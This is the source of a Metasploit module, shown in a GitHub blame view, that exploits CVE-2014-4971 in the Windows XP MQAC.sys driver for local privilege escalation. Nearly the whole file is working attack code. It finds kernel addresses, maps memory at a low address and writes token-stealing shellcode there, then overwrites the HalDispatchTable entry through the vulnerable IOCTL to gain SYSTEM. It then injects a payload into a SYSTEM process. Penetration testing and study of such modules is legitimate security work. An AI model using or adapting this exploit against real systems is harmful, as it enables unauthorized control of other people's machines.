metasploit-framework/modules/exploits/windows/local/mqac_write.rb

227 lines
9.3 KiB
Ruby
Raw Normal View History

##
# This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
require 'rex'
class Metasploit3 < Msf::Exploit::Local
Rank = AverageRanking
include Msf::Post::Windows::Priv
include Msf::Post::Windows::Process
INVALID_HANDLE_VALUE = 0xFFFFFFFF
2014-07-29 03:04:45 +00:00
def initialize(info = {})
super(update_info(info,
'Name' => 'MQAC.sys Arbitrary Write Privilege Escalation',
2014-07-29 03:04:45 +00:00
'Description' => %q(
A vulnerability within the MQAC.sys module allows an attacker to
overwrite an arbitrary location in kernel memory.
This module will elevate itself to SYSTEM, then inject the payload
into another SYSTEM process.
2014-07-29 03:04:45 +00:00
),
'License' => MSF_LICENSE,
'Author' =>
[
'Matt Bergin', # original exploit and all the hard work
'Spencer McIntyre' # MSF module
],
2014-07-29 03:04:45 +00:00
'Arch' => [ARCH_X86],
'Platform' => ['win'],
'SessionTypes' => ['meterpreter'],
'DefaultOptions' =>
{
2014-07-29 03:04:45 +00:00
'EXITFUNC' => 'thread'
},
'Targets' =>
[
2014-07-29 03:04:45 +00:00
['Windows XP SP3',
{
'_KPROCESS' => "\x44",
'_TOKEN' => "\xc8",
'_UPID' => "\x84",
'_APLINKS' => "\x88"
}
]
],
2014-07-29 03:04:45 +00:00
'References' =>
[
2014-07-29 03:04:45 +00:00
%w(CVE 2014-4971),
%w(EDB 34112),
['URL', 'https://www.korelogic.com/Resources/Advisories/KL-001-2014-003.txt']
],
2014-07-29 03:04:45 +00:00
'DisclosureDate' => 'Jul 22 2014',
'DefaultTarget' => 0
))
end
def find_sys_base(drvname)
2014-07-29 03:04:45 +00:00
session.railgun.add_dll('psapi') unless session.railgun.dlls.keys.include?('psapi')
lp_image_base = %w(PBLOB lpImageBase out)
cb = %w(DWORD cb in)
lpcb_needed = %w(PDWORD lpcbNeeded out)
session.railgun.add_function('psapi', 'EnumDeviceDrivers', 'BOOL',
[lp_image_base, cb, lpcb_needed])
image_base = %w(LPVOID ImageBase in)
lp_base_name = %w(PBLOB lpBaseName out)
n_size = %w(DWORD nSize in)
session.railgun.add_function('psapi', 'GetDeviceDriverBaseNameA', 'DWORD',
[image_base, lp_base_name, n_size])
results = session.railgun.psapi.EnumDeviceDrivers(4096, 1024, 4)
2014-07-24 23:32:54 +00:00
addresses = results['lpImageBase'][0..results['lpcbNeeded'] - 1].unpack('L*')
addresses.each do |address|
results = session.railgun.psapi.GetDeviceDriverBaseNameA(address, 48, 48)
current_drvname = results['lpBaseName'][0..results['return'] - 1]
2014-07-29 03:04:45 +00:00
if drvname.nil?
if current_drvname.downcase.include?('krnl')
return [address, current_drvname]
end
elsif drvname == results['lpBaseName'][0..results['return'] - 1]
return [address, current_drvname]
end
end
end
# Function borrowed from smart_hashdump
def get_system_proc
# Make sure you got the correct SYSTEM Account Name no matter the OS Language
2014-07-24 23:32:54 +00:00
local_sys = resolve_sid('S-1-5-18')
system_account_name = "#{local_sys[:domain]}\\#{local_sys[:name]}"
this_pid = session.sys.process.getpid
# Processes that can Blue Screen a host if migrated in to
2014-07-24 23:32:54 +00:00
dangerous_processes = ['lsass.exe', 'csrss.exe', 'smss.exe']
session.sys.process.processes.each do |p|
# Check we are not migrating to a process that can BSOD the host
2014-07-24 23:32:54 +00:00
next if dangerous_processes.include?(p['name'])
next if p['pid'] == this_pid
next if p['pid'] == 4
next if p['user'] != system_account_name
return p
end
end
def open_device
2014-07-29 03:04:45 +00:00
handle = session.railgun.kernel32.CreateFileA('\\\\.\\MQAC',
'FILE_SHARE_WRITE|FILE_SHARE_READ', 0, nil, 'OPEN_EXISTING', 0, nil)
handle = handle['return']
if handle == 0
print_error('Failed to open the \\\\.\\MQAC device')
return nil
end
2014-07-29 03:04:45 +00:00
handle
end
def check
handle = open_device
if handle.nil? || handle == INVALID_HANDLE_VALUE
2014-07-24 23:32:54 +00:00
print_error('MSMQ installation not found')
return Exploit::CheckCode::Safe
end
session.railgun.kernel32.CloseHandle(handle)
2014-07-24 23:32:54 +00:00
os = sysinfo['OS']
case os
when /windows xp.*service pack 3/i
return Exploit::CheckCode::Appears
when /windows xp/i
2014-07-24 23:32:54 +00:00
print_error('Unsupported version of Windows XP detected')
return Exploit::CheckCode::Detected
else
return Exploit::CheckCode::Safe
end
end
def exploit
2014-07-24 23:32:54 +00:00
if sysinfo['Architecture'] =~ /wow64/i
print_error('Running against WOW64 is not supported')
return
2014-07-24 23:32:54 +00:00
elsif sysinfo['Architecture'] =~ /x64/
print_error('Running against 64-bit systems is not supported')
return
end
if is_system?
2014-07-24 23:32:54 +00:00
print_error('This meterpreter session is already running as SYSTEM')
return
end
2014-07-29 03:04:45 +00:00
# Running on Windows XP versions that aren't listed in the supported list
# results in a BSOD and so we should not let that happen.
2014-07-24 21:57:09 +00:00
return unless check == Exploit::CheckCode::Appears
kernel_info = find_sys_base(nil)
base_addr = 0xffff
print_status("Kernel Base Address: 0x#{kernel_info[0].to_s(16)}")
handle = open_device
return if handle.nil? || handle == INVALID_HANDLE_VALUE
this_proc = session.sys.process.open
unless this_proc.memory.writable?(base_addr)
2014-07-29 03:04:45 +00:00
session.railgun.ntdll.NtAllocateVirtualMemory(-1, [1].pack('L'), nil,
[0xffff].pack('L'),
'MEM_COMMIT|MEM_RESERVE',
'PAGE_EXECUTE_READWRITE')
end
unless this_proc.memory.writable?(base_addr)
print_error('Failed to properly allocate memory')
this_proc.close
return
end
hKernel = session.railgun.kernel32.LoadLibraryExA(kernel_info[1], 0, 1)
hKernel = hKernel['return']
2014-07-29 03:04:45 +00:00
halDispatchTable = session.railgun.kernel32.GetProcAddress(hKernel,
'HalDispatchTable')
halDispatchTable = halDispatchTable['return']
halDispatchTable -= hKernel
halDispatchTable += kernel_info[0]
print_status("HalDisPatchTable Address: 0x#{halDispatchTable.to_s(16)}")
tokenstealing = "\x52" # push edx # Save edx on the stack
tokenstealing << "\x53" # push ebx # Save ebx on the stack
tokenstealing << "\x33\xc0" # xor eax, eax # eax = 0
tokenstealing << "\x64\x8b\x80\x24\x01\x00\x00" # mov eax, dword ptr fs:[eax+124h] # Retrieve ETHREAD
tokenstealing << "\x8b\x40" + target['_KPROCESS'] # mov eax, dword ptr [eax+44h] # Retrieve _KPROCESS
tokenstealing << "\x8b\xc8" # mov ecx, eax
tokenstealing << "\x8b\x98" + target['_TOKEN'] + "\x00\x00\x00" # mov ebx, dword ptr [eax+0C8h] # Retrieves TOKEN
tokenstealing << "\x8b\x80" + target['_APLINKS'] + "\x00\x00\x00" # mov eax, dword ptr [eax+88h] <====| # Retrieve FLINK from ActiveProcessLinks
tokenstealing << "\x81\xe8" + target['_APLINKS'] + "\x00\x00\x00" # sub eax,88h | # Retrieve _EPROCESS Pointer from the ActiveProcessLinks
tokenstealing << "\x81\xb8" + target['_UPID'] + "\x00\x00\x00\x04\x00\x00\x00" # cmp dword ptr [eax+84h], 4 | # Compares UniqueProcessId with 4 (The System Process on Windows XP)
tokenstealing << "\x75\xe8" # jne 0000101e ======================
tokenstealing << "\x8b\x90" + target['_TOKEN'] + "\x00\x00\x00" # mov edx,dword ptr [eax+0C8h] # Retrieves TOKEN and stores on EDX
tokenstealing << "\x8b\xc1" # mov eax, ecx # Retrieves KPROCESS stored on ECX
tokenstealing << "\x89\x90" + target['_TOKEN'] + "\x00\x00\x00" # mov dword ptr [eax+0C8h],edx # Overwrites the TOKEN for the current KPROCESS
tokenstealing << "\x5b" # pop ebx # Restores ebx
tokenstealing << "\x5a" # pop edx # Restores edx
tokenstealing << "\xc2\x10" # ret 10h # Away from the kernel!
2014-07-22 14:39:34 +00:00
shellcode = make_nops(0x200) + tokenstealing
this_proc.memory.write(0x1, shellcode)
this_proc.close
2014-07-24 23:32:54 +00:00
print_status('Triggering vulnerable IOCTL')
2014-07-29 03:04:45 +00:00
session.railgun.ntdll.NtDeviceIoControlFile(handle, 0, 0, 0, 4, 0x1965020f,
1, 0x258,
halDispatchTable + 0x4, 0)
session.railgun.ntdll.NtQueryIntervalProfile(1337, 4)
unless is_system?
2014-07-24 23:32:54 +00:00
print_error('Exploit failed')
return
end
proc = get_system_proc
print_status("Injecting the payload into SYSTEM process: #{proc['name']}")
unless execute_shellcode(payload.encoded, nil, proc['pid'])
2014-07-24 23:32:54 +00:00
fail_with(Failure::Unknown, 'Error while executing the payload')
end
end
end